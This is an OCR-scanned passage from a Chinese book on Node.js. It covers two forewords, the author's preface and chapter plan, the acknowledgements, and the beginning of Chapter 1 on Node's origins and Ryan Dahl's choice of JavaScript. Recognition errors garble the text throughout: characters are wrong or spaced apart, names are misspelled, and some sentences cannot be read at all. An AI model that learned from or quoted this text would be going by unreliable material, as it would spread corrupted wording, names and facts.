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序 一 

没有 用 过 Node 的 人 ， 是 不 会 相信 仪 赁 JavaScript 这 门 活跃 于 网 页 编程 的 
脚本 语言 就 可 以 驱动 后 端 复 杂 的 应 用 程序 ， 也 不 会 相信 Node 在 开发 高 
并 发 、 高 性 能 后 端 服务 程序 上 也 有 着 极 大 的 优势 。 

我 们 在 2010 年 接触 Node 的 时 候 ， 国 内 外 了 解 Node 的 人 罕 窗 可 数 ，2011 
年 我 们 已 经 决定 在 淘宝 的 部 分 生产 系统 中 开始 使 用 Node。 由 于 招募 熟 
悉 Node 的 人 才 是 个 大 问题 ， 为 了 树立 技术 品牌 ， 我 们 在 2011 年 年 初创 
办 CNode 开 源 技 术 社 区 (CNodeJS.org) ， 没 有 想到 一 发 不 可 收拾 。 从 
2011 年 4 月 开始 ， 我 们 走 遍 北京 、 上 上海、 广州、 深圳、 杭州 ， 甚 至 还 到 
了 香港 ， 发 起 并 且 组 织 了 多 次 NodeParty 线 下 技术 分 享 。 为 了 弥补 初学 
者 没有 Node 托 管 环境 学 习 测 试 的 问题 ， 我 们 还 自己 研发 了 Node App 
Engine。Node 在 国内 深入 人 心 ， 我 相信 和 与 CNode 社 区 有 着 不 小 的 关 
最 初 ，Node 的 爱好 者 大 都 是 些 喜 欢 探索 新 技术 的 极 客 。 在 社区 ， 我 们 
也 认识 了 很 多 天 南海 北 的 朋友 ， 包 括 朴 灵 。 在 一 次 上 海 Node 技 术 分 享 
会 后 ， 我 邀请 他 加 入 了 淘宝 。 他 在 淘宝 工作 之 余 继 续 为 社区 作 贡 献 ， 
目 发 为 Node 的 推广 做 了 很 多 事情 ， 包 括 今天 他 哎 心 写 了 这 本 书 ， 我 相 
信 这 是 目前 质量 最 高 的 一 本 Node 图 书 。 因 为 中 国 没 有 几 个 人 像 朴 灵 一 
样 ， 有 机 会 在 很 多 高 并 发 的 应 用 场景 中 反复 实践 。 这 绝对 是 一 本 实践 
性 极 强 的 技术 书 ， 不 管 是 否 学 习 过 Node， 只 要 你 爱好 技术 ， 都 推荐 你 


CNode 社 区 创始 人 
阿里 巴巴 数据 平台 事业 部 数据 交换 平台 总 监 


序 二 

Node 诞 生 于 2009 年 ， 天 才 的 局 丝 青 年 Ryan Dahl] 利 用 了 Google 的 V8 引 
敬 打 造 了 基于 事件 循环 实现 的 异步 WO 框架 。 也 许 Ryan 当 时 选择 
JavaScript 作 为 服务 器 开发 语言 ， 只 是 因为 V8 的 性 能 远 超 其 他 脚本 语 
言 ， 但 是 这 却 成 为 Node 成 功 的 极其 重要 的 因素 。 不 仅仅 是 JavaScript 巨 
大 的 用 户 群 ， 更 重要 的 是 JavaScript 之 前 没有 任何 IO 库 ， 这 使 Node 在 
开发 异步 IO 时 不 会 像 EventMachine、Twisted 那 样 因 与 同步 IO 混 用 而 
导致 问题 。 

短 短 儿 年 的 时 间 ，Node 取 得 了 巨大 的 成 功 。 在 开源 社区 GitHub 上， 

Node 高 居 第 二 。express、socket.io 这 样 的 优秀 框架 都 有 着 极 高 的 排 
名 ，NPM 上 的 模块 数量 和 下 载 量 也 非常 怀 人 人。 更 可 剖 的 是 ， 国 内 的 
Node 社 区 也 诞生 了 许多 优秀 的 开源 项 目 ， 其 中 node-webkit、pomelo 等 
在 国际 开源 社区 中 都 产生 了 一 定 的 影响 力 。 

在 企业 界 ，Node 的 应 用 也 越 来 越 广泛 。Linkedm 的 移动 平台 已 经 全 部 
从 Ruby 迁 移 到 Node， 机 恬 数 量 缩减 为 原来 的 十 分 之 一 。 像 Yahoo、 
Microsoft 这 样 的 大 公司 ， 有 好 多 应 用 已 经 迁移 到 Node 了 。 国 内 的 阿里 
巴巴 、 网 易 、 腾 讯 、 新 浪 、 百 度 等 公司 的 很 多 线 上 产品 也 纷纷 改 用 
Node 开 发 ， 并 取得 了 很 好 的 效果 。 

朴 灵 是 国内 最 早 的 Node 开 发 者 之 一 ， 不 仅 组 织 了 CNode 社 区 ， 在 mmfoQ 
发 表 的 “深入 浅 出 Node.js” 系 列 文章 更 是 对 国内 的 Node 社 区 产生 了 巨 大 
的 影响 。 记 得 我 在 2011 年 初次 接触 Node 的 时 候 ， 除 了 国外 的 几 个 演讲 
文稿 ， 基 本 上 没有 Node 相 关 的 图 书 ， 而 最 让 我 印象 深刻 的 ， 坚 无 疑问 
是 朴 灵 的 “深入 浅 出 Node.js” 系 列 文章 。 正 是 这 一 系列 文章 ， 使 我 们 较 
好 地 理解 、 学 习 Node 后 ， 开 发 出 了 pomelo 框 名 ， 也 黄 定 了 朴 灵 在 国内 
Node 界 的 地 位 。 


如 今 两 年 过 去 了 ， 国 内 外 的 Node 图 书 也 出 了 不 少 。 但 国内 的 几 本 书 有 
点 偏 浅 ， 即 使 国外 的 几 本 名 气 很 大 的 书 也 没有 让 我 有 动力 通读 全 书 ， 

因为 内 容 整体 上 没有 太 大 深度 ， 对 于 有 较 久 开发 经 验 的 Node 开 发 者 帮 
助 不 是 很 大 。 不 过 当 朴 灵 让 我 审 校 这 本 书 时 ， 我 觉得 收获 烦 多 。 相 比 
其 他 Node 图 书 的 作者 ， 他 在 淘宝 一 线 的 开发 经 验 使 这 本 书 更 有 深度 ， 

而 他 文 忆 青年 的 育 景 让 这 本 书 读 起 来 极其 顺畅 ， 他 的 钻研 精神 又 让 这 
本 书 在 理论 上 很 有 深度 。 例 如 ， 朴 灵 在 微 博 上 目 称 “一 个 能 搞定 回调 男 
数 藤 套 的 男人 ”还 真 不 是 吹 的 ， 在 第 4 革 中 ， 他 详细 介绍 了 Node 的 各 种 
藤 套 函数 过 深 的 解决 方案 ， 例 如 EventProxy 、Promise 、async 、step 、 


wind.js 等 各 种 解决 方案 都 有 深入 讲解 。 此 外 ， 朴 灵 还 是 EventProxy 的 
作者 ， 在 这 方面 有 最 权威 的 实践 经 验 。 

朴 灵 是 国内 Node 因 的 第 一 传道 士 ， 除了 那 一 系列 文章 ， 他 还 在 全 国 各 
地 组 织 了 NodeParty 和 JSConf China (2012 年 的 沪 JS 和 2013 年 的 京 
JS) ， 并 且 在 微 博 上 以 各 种 该 谐 幽 默 的 方法 宣传 Node。 在 各 个 技术 大 
会 上 ， 我 们 都 可 以 见 到 朴 灵 的 吴 影 。 更 强 的 是 ， 朴 灵 在 每 次 大 会 上 所 
做 的 演讲 很 少 雷同 ， 他 总 是 能 挖掘 出 Node 的 方方面面 ， 然 后 很 认真 地 
总 结 出 来 ， 以 幽默 的 讲解 让 听众 愉快 地 接受 。 

因此 ， 当 得 知 朴 灵 要 写 这 本 书 时 ， 我 们 都 很 兴 理 。 谁 能 比 他 更 胜任 
呢 ? 训 无 疑 间 ， 这 将 是 国内 第 一 的 Node 图 书 。 如 今 ， 经 过 一 年 多 的 等 
待 ， 你 们 终于 有 机 会 看 到 朴 灵 这 一 年 多 全 勤务 动 的 成 果 了 。 

谢 钼 超 

网 易 高 级 技术 专家 、 架 构 师 

pomelo 开 源 游戏 服务 器 框架 创始 人 

2013 年 7 月 8 日 


用 车 

2006 年 至 今 ， 我 们 时 常 可 以 看 到 JavaScript 的 新 闻 ， 刚 开始 只 是 
JavaScript 引 警 性 能 的 提升 ， 到 后 来 发 现 很 多 是 来 目 HIML5 和 Node 创 
造 的 奇迹 。 如 果 只 看 表面 ， 很 容易 让 人 感觉 这 又 是 一 颗 卫 星 。 这 种 现 
象 让 人 觉得 不 可 信 ， 所 以 出 现 了 以 下 各 种 版 本 的 误解 。 


。 Node 肯 定 是 几 个 前 端 工程 师 在 实验 室 里 揭 鼓 出 来 的 。 
。 为 了 后 端 而 后 端 ， 有 意思 吗 ? 

。 怎么 又 发 明了 一 门 新 语言 ? 

。 JavaScript 承 担 的 责任 太 重 了 。 

。 直觉 上 ，JavaScript 不 应 该 运行 在 后 端 。 

。 前 端 工 程 师 要 逆 黎 了 。 


一 方面 ， 大 家 看 到 JavaScript 在 各 个 地 方 放出 异彩 ， 其 他 语言 的 开发 者 
既 羡 莫 它 的 成 果 ， 又 担心 它 对 当前 所 从 事 的 语言 造成 冲击 ; 男 一 方 
面 ， 人 们 还 是 有 JavaScript 只 能 做 前 端 脚本 的 定 势 思维 。 究 其 原因 ， 还 
0 所 以 会 产生 一 些 葛 须 有 的 民情 
\ 安 。 
1995 年 ，JavaScript 随 网 景 公 司 发 布 的 Netscape Navigator 2.0 发 布 ， 它 
最 早 命名 为 LiveScript， 随 后 更 名 为 JavaScript。 它 出 目 如 今 的 Mozilla 公 
司 的 CTO 一 一 Brendan Eich 之 手 ， 其 产生 来 源 于 网 景 公 司 发 布 的 
Netscape Navigator 浏 览 怖 需要 一 种 脚本 语言 来 协助 浏览 器 做 一 些 简 单 
的 动态 操作 。 当 时 网 景 公司 与 Sun 公 司 合作 密切 ， 不 懂 技 术 的 管理 层 
希望 得 到 一 个 Java 的 脚本 版 语言 ， 以 期 能 像 Java 一 样 风 靡 。Brendan 
Eich 原 本 进入 网 景 公 司 是 希望 做 Scheme 语言 的 开发 ， 但 是 却 接 到 了 一 
个 不 喜欢 的 任务 ， 但 迫 于 当时 形势 ， 不 得 不 完成 此 事 ， 于 是 JavaScript 
之 父 在 10 天 的 时 间 里 仓促 完成 了 JavaScript 的 设计 ， 当 时 的 项 目 代 号 是 
Mocha， 名 字 叫 LiveScript 。 
这 门 语 言 除 了 看 起 来 像 Java 外 ， 本 质 与 Java 语 言 相去 甚 远 ， 管 理 层 期 
望 的 Java Script 其 实 借鉴 了 C、Scheme、Self、Java 的 设计 。 尽 管 仓 
促 ， 但 是 这 门 语言 还 是 借鉴 了 其 他 语言 的 不 少 优点 ， 如 函数 式 、 原 型 
链 继 承 等 。 人 处 于 Java 阴 影 下 的 这 门 语言 获得 了 它 最 终 的 名 字 : 
JavaScript。 至 今 ， 仍 然 还 有 许多 人 分 不 清 Java 与 JavaScript 的 关系 ， 就 
像 分 不 清和 雷锋 与 雷 峰 塔 一 样 。 


虽然 JavaScript 的 产生 与 Netscape Navigator 浏 览 姨 的 需求 有 关系 ， 但 它 
并 非 只 是 设计 出 来 用 于 浏 贤 器 前 端的 。 早 在 1994 年 ， 网 景 公司 束 公 布 
了 其 Netscape Enterprise Server 中 的 一 种 服务 絮 端 脚本 实现 ， 它 的 名 字 
叫 LivewWire ， 是 最 早 的 服务 姻 问 JavaScript， 甚 至 早 于 浏 贤 姻 中 的 
JavaScript 公 布 。 对 于 这 门 图 灵 完 备 的 语言 ， 网 景 早 就 开始 尝试 将 它 用 
在 后 端 。 

随后 ， 微 软 在 第 一 次 浏 贤 硕 大 战 时 ， 于 1996 年 发 布 的 了 下 3.0 中 也 包含 了 
它 的 脚本 语言 : JScript。 基 于 商标 的 原因 ， 它 叫 JScript， 但 是 与 
JavaScript 兼 容 。 在 1997 年 年 初 ， 微 软 在 它 的 服务 器 IIS 3.0 中 也 包含 了 
JScript， 这 就 是 我 们 在 ASP 中 能 使 用 的 脚本 语言 。 鉴 于 微软 处 处 与 网 
景 针锋相对 ， 出 于 保护 上 自己 的 目的 ， 网 景 公司 推 进 了 JavaScript 的 标准 
化 进程 ， 于 1996 年 11 月 将 JavaScript 递 交 给 ECMA 国 际 标准 组 织 ， 在 
1997 年 7 月 公布 了 第 一 个 版 本 ， 有 是 为 ECMA-262 号 标准 ， 又 称 
ECMAScript ° 

可 以 看 到 ，JavaScript 一 早 就 能 运行 在 前 后 端 ， 但 风云 变 和 jj， 在 前 后 端 
各 目的 待遇 却 不 尽 相 同 。 伴 随 着 Java、PHP、.NET 等 服务 万 端 技术 的 
风靡 ， 与 前 端 浏 贤 器 中 的 JavaScript 越 来 越 重 要 相 比 ， 服 务 器 端 
JavaScript 球 渐 式微 。 只 剩 下 Rhino、SpiderMonkey 用 于 工具 。 

然而 ， 这 个 世界 是 变化 的 。 第 一 次 浏 顺 万 大 战 落幕 后 的 JavaScript 的 世 
界 有 些 平静 ， 但 依然 在 萌生 一 些 变 化 。Google 对 Ajax 的 应 用 证 
JavaScript 变 得 越 来 越 重 要 。Firefox 的 发 布 掀起 了 对 下 的 反攻 ， 迎 来 了 
第 二 次 浏 贤 絮 大 战 ， 苋 争 令 JavaScript 的 性 能 不 断 提升 ，Chrome 的 加 入 
令 它 高 潮 人 送出 。CommonJS 规 范 的 提出 ， 不 断 在 完善 JavaScript 。 
ECMAScript 标 准 的 不 断 推 进 ， 令 语言 更 加 精炼 简洁 ， 不 停 地 去 芜 存 
莹 。 


浏览 器 端 JavaScript 在 Web 应 用 中 感 行 ， 甚 至 让 人 们 起 挤 了 JavaScript 可 
以 在 服务 器 端 运 行 这 人 码 事 。 但 是 ， 服 务 句 端 JavaScript 现 在 回 米 了， 因 
为 Node 诞 生 了 “。Node 的 诞生 离 不 开 上 述 的 历史 契机 ， 服 务 右 端 
JavaScript 在 漫长 的 历史 中 长 期 停 请 留 下 空白 ， 但 Node 重 新 将 这 个 领域 
激活 。Ryan Dahl 基 于 对 高 性 能 Web 服务 恬 的 探索 ， 无 意 间 促成 了 服务 
句 端 JavaScript 领 域 的 焕然 一 新 。Node 和 凭借 V8 的 高 性 能 和 异步 IO 模型 
将 JavaScript 重 新 推 癌 了 一 个 高 湖 。 现 在 ，Node 不 仅 满 足 JavaScript 同 时 
运行 在 前 后 端 ， 而 且 性 能 还 十 分 高 效 。 与 传统 印象 中 的 不 同 ， 它 甚至 
可 比 于 当前 的 高 效 脚 本 语言 。 

奇妙 的 反应 还 在 继续 ， 前 后 端 要 跨 语 言 开发 的 现状 已 经 开始 改变 ， 
为 语言 堆栈 的 不 同 ， 开 发 者 的 分 工 也 进行 了 细 分 : 前 端 工 程 师 和 后 端 


工程 师 。 专 业 技 能 因为 分 工 而 精进 ， 但 也 将 技能 变 为 专利 ， 似 乎 前 端 
工程 师 不 能 进行 后 端 开 发 ， 后 端 工程 师 摘 不 定 前 端 开发 ， 犹 如 树立 的 
当 。 但 Node 的 出 现 令 这 种 分 工 的 弄 限 又 开始 模 炎 了 “。 同 时 一 些 后 端 工 
程 师 也 关注 到 Node， 他 们 甚至 不 关心 前 后 端 语言 是 否 一 致 ， 而 是 亦 裸 
裸 地 表示 对 Node 总 性 能 的 垂 诞 ， 如 实时 、 高 并 发 等 。 

大 量 的 前 后 端 工 程 师 加 入 了 Node 的 开发 阵 音 ，GitHub 上 JavaScript 是 最 
活跃 的 开发 语言 ，NPM 人 社区 第 三 方 模块 钨 怖 的 增长 速度 和 下 载 量 都 星 
示 着 这 个 过 程 不 可 逆 ， 在 这 里 吼 一 声 万 能 的 NPM， 总 能 找到 你 需要 的 
解决 方案 。 很 多 不 断 涌 现 的 项 目 和 创意 都 因为 Node 和 前 端 开 发 能 共用 
一 种 语言 而 独特 。 换 言 之 ，Node 的 本 意 是 提供 一 个 高 性 能 的 面向 网 络 
但 无 意 间 促 成 了 JavaScript 社 区 的 繁 采 ， 并 进而 形成 强大 
、 AAA 人 50” 


本 书目 的 

目前 ， 还 没有 一 本 书 将 Node 目 身 结构 介绍 出 来 ， 大 多 俘 留 在 Node 介 绍 
或 者 框架 、 库 的 使 用 层面 上 ， 本 书 硕 望 从 不 同 的 视角 揭示 Node 目 己 内 
在 的 特点 和 结构 。 也 许 你 已 经 用 过 Node 进 行 相关 的 开发 ， 在 使 用 了 
Node 市 来 的 欣喜 后 ， 还 能 在 阅读 本 书 时 ， 发 出 一 句 “ 哦 ， 原 来 Node 坪 
这 样 的 ”， 这 吏 是 本 书 的 简单 寄 望 。 

对 于 Node 初 学 者 ， 目 前 市 面 上 也 已 经 有 Node 相 关 的 入 门 书 ， 它 们 可 以 
快速 地 领 你 进入 Node 开 发 之 旅 。 在 了 解 了 这 些 基本 过 程 后 ， 想 了 解 更 
多 Node 知 识 的 好 奇 心 ， 会 领 你 来 阅读 本 书 的 。 


本 书 并 非 完 全 按照 顺序 递 进 式 介 绍 ， 如 第 2 章 是 从 代码 组 织 结构 看 待 
Node， 第 3 章 是 从 运行 结构 看 Node， 第 4 章 则 是 从 编程 结构 看 Node， 人 第 
5 章 则 是 Node 中 内 存 结构 的 揭示 ， 第 6 章 谈 及 的 是 Node 中 的 数据 在 IO 
流 中 的 结构 或 状态 ， 第 7 章 是 Node 在 网 络 服务 角度 的 介绍 ， 第 8 章 是 
Node 在 HITP 上 的 展现 ， 第 9 章 讨论 了 Node 的 单机 集群 结构 ， 第 10 章 是 
从 单元 测试 和 性 能 测试 的 角度 去 关注 Node， 第 11 章 虽然 已 经 脱离 了 
Node 编 码 的 范畴 ， 但 是 站 在 产品 化 的 角度 看 待 Node， 也 会 颇 有 收获 。 
下 面 是 各 章 的 详细 介绍 。 

第 1 章 : 这 一 章 简 要 介绍 了 Node， 从 中 可 以 了 解 Node 的 发 展 历程 及 其 
带 来 的 影响 和 价值 。 

第 2 章 : 这 一 章 介 绍 了 Node 的 模块 机 制 ， 从 中 可 以 了 解 到 Node 是 如 何 
实现 CommonJS 模 块 和 包 规 范 的 。 在 这 一 章 中 ， 我 们 详细 解释 了 模块 
在 引用 过 程 中 的 编译 、 加 载 规 则 。 另 外 ， 我 们 还 能 读 到 更 深度 的 关于 
Node 上 自身 源 代 码 的 组 织 架 构 。 

第 3 章 : 这 一 章 展示 了 在 Node 中 我 们 将 异步 JO 作 为 主要 设计 理念 的 原 
。 另 外， 还 会 介绍 到 异步 IO 的 详细 实现 过 程 。 

第 4 章 : 这 一 章 主要 介绍 异步 编程 ， 其 中 有 常见 的 异步 编程 问题 介绍 ， 
也 有 详细 的 解决 方案 。 在 这 一 章 中 ， 我 们 可 以 接触 到 Promise、 事 件 、 
高 阶 函 数 是 如 何 进行 流程 控制 的 。 

第 5 草 : 这 一 章 主 要 介绍 了 Node 中 的 内 存 控 制 ， 主 要 内 容 有 垃圾 回 
收 、 内 存 限制 、 查 看 内 存 、 内 存 污 漏 、 大 内 存 应 用 等 细节 。 

第 6 章 : 这 一 章 介绍 了 前 端 JavaScript 里 不 能 遇 到 的 Buffer。 由 于 Node 中 
会 涉及 频繁 的 网 络 和 磁盘 MO， 处 理 字 节 流 数据 会 是 很 常见 的 行为 ， 这 
部 分 场景 与 纯粹 的 前 端 开 发 完全 不 同 。 

第 7 章 : 这 一 章 介 绍 了 Node 支 持 的 TCP、UDP、HTTP 编 程 ， 还 附 赠 了 
WebSocket 与 TLS、HTTPS 的 介绍 。 

第 8 章 : 这 一 章 介 绍 了 构建 Web 应 用 的 过 程 中 用 到 的 大 多 数 技术 细 方 ， 
如 数据 处 理 、 路 由 、MVC、 模 板 、RESTful 等 

第 9 草 : 这 一 章 介 绍 了 Node 的 多 进程 技术 ， 以 及 如 何 借助 多 进程 的 方 
式 来 提升 应 用 的 可 用 性 和 性 能 。 

第 10 章 : 这 一 章 介 绍 了 Node 的 单元 测试 和 性 能 测试 技巧 。 


第 11 章 : “ 行 百 里 者 半 九 十 *"， 完 成 产品 开发 的 代码 编写 后 ， 才 完成 了 
项 目的 第 一 步 。 这 一 章 介 绍 了 将 Node 产 品 化 所 需要 注意 到 的 细节 ， 如 
项 目 工程 化 ”多 和 查 部 着 、 日记、 竺 能 、 监 鬼 报 知 、 得 定 仁 、 弄 构 共 存 


附录 A: 详细 介绍 了 Node 的 安装 步骤 。 

附录 B: 讨论 了 Node 的 调试 技巧 。 

附录 C: 探讨 了 团队 实践 或 多 人 协作 过 程 中 需要 关注 的 编码 规范 间 
题 ， 它 可 以 很 好 地 规避 一 些 低 级 的 、 明 显 的 错误 。 

附录 D: 作为 企业 开发 者 ， 必 须 关 注 模 块 仓 库 的 搭建 管理 。 在 这 一 章 
中 ， 我 们 介绍 了 如 何 通 过 搭建 私有 NPM 来 解决 企业 隐私 安全 等 方面 的 


问题 。 


致谢 
这 本 书 的 产 出 过 程 其 实 完 全 不 在 意料 之 中 。 最 早 找到 我 的 杨 海 玲 老师 
当初 还 在 图 灵 公 司 ， 那 还 是 2011 年 的 时 候 ， 作 为 Node 发 烧 友 ， 我 其 实 
是 极度 心虚 的 ， 因 为 我 除了 作为 前 端 工 程 师 所 拥有 的 那 点 JavaScript 知 
， 只 有 学 习 Node 的 热情 ， 当 时 我 十 分 感动 ， 然 后 拒绝 了 杨 老 师 的 
请 。 
随后 ， 礼 康 老师 在 CNode 社 区 看 到 我 的 那 篇 用 Node.js 打 造 你 的 静态 文 
件 服务 器 ”后 ， 邀 请 我 加 入 他 在 InfoQ 上 开辟 的 “深入 浅 出 Node.js” 专 
栏 ， 出 于 对 写作 的 您 惧 ， 我 也 拒绝 了 罕 康 老师 的 邀请 。 窍 康 老师 随后 
以 “ 写 专 栏 只 要 每 个 月 写 点 ， 远 比 写 书 容易 ”的 理由 劝 服 我 ， 我 随即 在 
心中 拿捏 了 计划 ， 和 觉得 可 以 将 自己 的 学 习 经 验 写 出 来 ， 边 学 边 写 ， 前 
前 后 后 大 概 可 以 写 出 许多 东西 来 ， 于 是 答应 了 俯 康 老师 。 在 随后 的 大 
半年 时 间 里 ， 我 在 InfoQ 上 发 表 了 7 篇 专栏 文章 。 可 能 是 圈子 太 小 ， 杨 
老师 在 寻找 Node 原 创 书 作 者 的 过 程 中 经 过 一 圈 又 从 瞧 康 老师 的 推荐 下 
回 到 了 我 这 里 。 因 为 心中 已 经 有 些 眉 目 ， 知 道 目 己 想 要 表达 些 什么 ， 
加 上 加 入 阿里 巴巴 数据 平台 数据 产品 部 门 (EDP) 专职 从 事 Node 开 发 
后 ， 团 队 的 领导 玄 澄 和 苏 千 都 十 分 臣 励 我 ， 觉 得 这 使 命 冥 贞 之 中 该 由 
切 去 元 成 于 十 操 革 本 这 检 书 的 写作 
当然 ， 这 只 是 吾 通 日 子 的 开始 ， 尽 管 每 天 接触 的 还 是 JavaScript 语 言 ， 
但 实际 上 已 经 从 前 端 领 域 进 入 了 后 端 领域 ， 我 的 知识 面 远 远 不 足以 文 
撑 这 本 书 的 写作 。 跨 领域 的 过 程 是 相当 痛 音 的 ， 很 少 有 人 喜欢 演 试 改 
变 已 有 的 习惯 ， 而 我 还 要 在 这 个 基础 上 将 我 还 不 太 熟 悉 的 东西 重新 分 
享 出 来 ， 要 保证 没有 错误 ， 这 是 远 比 专栏 写作 高 得 多 的 挑战 ， 为 此 我 
屡次 有 上 了 贼 船 的 感觉 。 直 觉 上 ， 因 为 Node 是 JavaScript 语 言 ， 所 以 前 
端 工程 师 掌 握 它 是 相对 容易 的 ， 但 是 事实 上 ,，“ 行 百 里 者 半 九 十 *"， 熟 
悉 JavaScript 只 是 帮助 我 少 了 十 里 路 ， 在 整个 历程 中 ， 还 有 九 十 里 需要 
完成 ， 这 就 是 兴趣 与 现实 之 间 的 差距 。 
经 历 了 拖 稿 、 廷 期 以 及 因为 没 能 按期 出 版 而 输 掉 iPad 奖 励 等 打击 ， 最 
终 梳理 出 了 这 本 书 的 内 容 。 与 大 多 数 介 绍 Node 的 书 不 同 ， 这 些 内 容 的 
写作 过 程 就 是 我 自己 学 习 Node 的 过 程 ， 这 个 过 程 充 不 了 改变 带 来 的 痛 
苗 和 收获 ， 每 一 章 讲 述 的 侧重 点 都 不 相同 ， 但 叉 都 是 Node。 我 在 这 个 
过 程 中 完成 了 目 己 在 操作 系统 、 网 络 方面 的 知识 补充 ， 旷 变 的 过 程 总 
是 钉 师 和 喜 悦 的 ， 过 去 因为 前 后 端 语言 的 不 同 而 分 散 玖 离 的 知识 点 ， 
奇迹 般 地 因为 Node 重 新 组 合 连 接 起 来 ， 这 大 概 就 是 乔布斯 提 到 


的 “connecting the dots* 吧 。 写 完 这 本 书 时 ， 我 前 端 工程 师 的 职位 名 已 
经 被 老板 摘 握 ， 姑 且 认 为 是 玄 河 对 我 转变 过 程 的 认可 。 

最 后 ， 非 常 感谢 王 军 花 老师 眼 进 本 书 的 进度 ， 感 谢 CNode 社 区 的 朋友 
们 提出 宝贵 建议 ， 感 谢 阿 里 巴巴 EDP 部 门 给 予 我 最 好 的 环境 去 成 长， 
让 这 本 书 更 精彩 。 

想不到 曾经 以 文艺 青年 自 调 的 我 ， 以 这 样 的 形式 完成 了 一 本 书 的 写 
作 ， 既 在 意料 之 外 ， 也 在 意料 之 中 。 这 本 书 也 不 能 用 来 致 青春 ， 这 里 
献 给 我 的 母亲 ， 没 有 您 的 影响 ， 不 可 能 存在 这 本 书 。 


第 1 章 Node 简 介 
Node 应 该 是 如 今 最 火热 的 技术 了 ， 从 本 章 开 始 ， 我 们 将 逐步 揭示 它 的 
诸多 细节 。 


1.1 Node 的 诞生 历程 
Node 的 诞生 历程 如 下 所 示 。 


2009 年 3 月 ，Ryan Dahl 在 其 博客 上 宣布 准备 基于 V8 创建 一 个 
轻 量 级 的 Web 服 务 器 并 提供 一 套 库 。 

2009 年 5 月 ，Ryan Dahl 在 GitHub 上 发 布 了 最 初 的 版 本 。 
0 和 2010 年 4 月 ， 两 届 JSConf 大 会 都 安排 了 Node 的 
斌 上座。 

2010 年 年 底 ，Node 获 得 硅谷 云 计 算 服 务 商 Joyent 公 司 的 资 
， 其 创始 人 Ryan Dahl 加 入 Joyent 公 司 全 职 负 责 Node 的 发 


2011 年 7 月 ，Node 在 微软 的 支持 下 发 布 了 其 Windows 版 本 。 
2011 年 11 月 ，Node 超 越 Ruby on Rails， 成 为 GitHub 上 关注 度 
最 高 的 项 目 (随后 被 Bootstrap 项 目 超 越 ， 目 前 仍 居 第 二 ) 。 
2012 年 1 月 底 ，Ryan Dahl 在 对 Node 架 构 设计 满意 的 情况 下 ， 
将 掌 门 人 的 身份 转交 给 Isaac Z. Schlueter， 自 己 转 疝 一 些 研 究 
项 目 。Isaac Z. Schlueter 是 Node 的 包 管 理 器 NPM 的 作者 ， 之 后 
Node 的 版 本 发 布 和 bug 修 复 等 工作 由 他 接手 。 

截至 笔者 执笔 之 日 (2013 年 7 月 13 日 ) ， 发 布 的 Node 稳 定 版 
为 v0.10.13， 非 稳定 版 为 v0.11.4，NPM 的 官方 模块 数 达 到 34 
943 个 ， 模 块 的 周 下 载 量 为 1479 万 次 。 

随后 ，Node 的 发 布 计划 主 要 集中 在 性 能 提升 上 ， 在 v0.14 之 
后 ， 正 式 发 布 出 v1.0 版 本 。 


1.2 Node 的 命名 与 起 源 

在 Node 的 官方 网 站 (http:/nodejs.org) 之 外 ，Node 具 有 很 多 别称 : 
Nodejs、NodeJS、Node.js 等 。 本 书 在 写作 过 程 中 遵循 官方 的 说 法 ， 将 
会 一 直 使 用 Node 这 个 名 字 , 但 是 在 当前 语 境 之 外 ， 为 了 与 其 余 表示 节 
点 的 技术 或 名 词 相 区 别 ， 均 可 以 带 上 .js 表明 它 是 Node。 在 听 到 这 些 词 
汇 上 时， 应 该 意识 到 ， 它 们 说 的 是 一 码 事 。 除 了 本 书 的 封面 和 此 处 会 用 
到 Node.js 外 ， 其 余地 方 都 会 以 Node 作 为 正式 称谓 。 

Node 名 字 的 来 由 ， 其 实 跟 它 的 起 源 是 有 密切 关系 的 。 

1.2.1 为 什么 是 JavaScript 

Ryan Dahl 是 一 名 资深 的 C/C++ 程序 员 ， 在 创造 出 Node 之 前 ， 他 的 主要 
工作 都 是 围绕 高 性 能 Web 服 务 絮 进行 的 。 经 历 过 一 些 笑 试 和 失败 之 
. 他 找到 了 设计 高 性 能 ，Web 服 务 器 的 儿 个 要 点 事件 驱动 、 非 阻 
替 1/ 〇 。 

所 以 Ryan Dahl 最 初 的 目标 是 写 一 个 基于 事件 驱动 、 非 阻塞 1/O 的 Web 服 
务 絮 ， 以 达到 更 高 的 性 能 ， 提 供 Apache 等 服务 器 之 外 的 选择 。 他 提 
到 ， 大 多 数 人 不 设计 一 种 更 简单 和 更 有 效率 的 程序 的 主要 原因 是 他 们 
用 到 了 阻塞 TO 的 库 。 写 作 Node 的 时 候 ，Ryan Dahl 曾 经 评估 过 C、 
Lua、Haskell、Ruby 等 语言 作为 备 选 实现 ， 结 论 为 : C 的 开发 门槛 高 ， 
可 以 预见 不 会 有 太 多 的 开发 者 能 将 它 用 于 日 常 的 业务 开发 ， 所 以 舍弃 
它 ; Ryan Dahl 觉 得 上 自己 还 不 足够 玩 转 Haskell， 所 以 舍弃 它 ; Lua 目 续 
已 经 含有 很 多 阻 赛 VO 库 ， 为 其 构建 非 阻塞 IJO 库 也 不 能 改变 人 们 继续 
使 用 阻塞 TO 库 的 习惯 ， 所 以 也 舍弃 它 ; 而 Ruby 的 虚拟 机 由 于 性 能 不 好 
相 比 之 下 ，JavaScript 比 C 的 开发 门槛 要 低 ， 比 Lua 的 历史 包容 要 少 。 尽 
管 服 务 硕 端 JavaScript 存 在 已 经 很 多 年 了 ， 但 是 后 端 部 分 一 直 没 有 市 
场 ， 可 以 说 历史 包容 为 零 ， 为 其 导入 非 阻 塞 VO 库 没有 额外 阻力 。 另 
外 ，JavaScript 在 浏览 右 中 有 广泛 的 事件 张 动 方面 的 应 用 ， 了 暗合 Ryan 
Dahl 喜 好 基于 事件 张 动 的 需求 。 当 时 ， 第 二 次 浏览 需 大 战 也 渐渐 分 出 
高 下 ，Chrome 浏 览 妖 的 JavaScript3 引 擎 V8 摘 得 性 能 第 一 的 桂冠 ， 而 且 
其 基于 新 BSD 许 可 证 发 布 ， 目 然 受 到 Ryan Dahl 的 欢迎 。 考 虑 到 高 性 
能 、 符 合 事件 驱动 、 没 有 历史 包 宁 这 3 个 主要 原因 ，JavaScript 成 为 了 
Node 的 实现 语言 。 

1.2.2 ”为 什么 叫 Node 


起 初 ，Ryan Dahl 称 他 的 项 目 为 web.js， 束 是 一 个 Web 服 务 絮 ,但 是 项 
目的 发 展 超过 了 他 最 初 单纯 开发 一 个 Web 服 务 絮 的 想法 ， 变 成 了 构建 
网 络 应 用 的 一 个 基础 框架 ， 这 样 可 以 在 它 的 基础 上 构建 更 多 的 东西 ， 

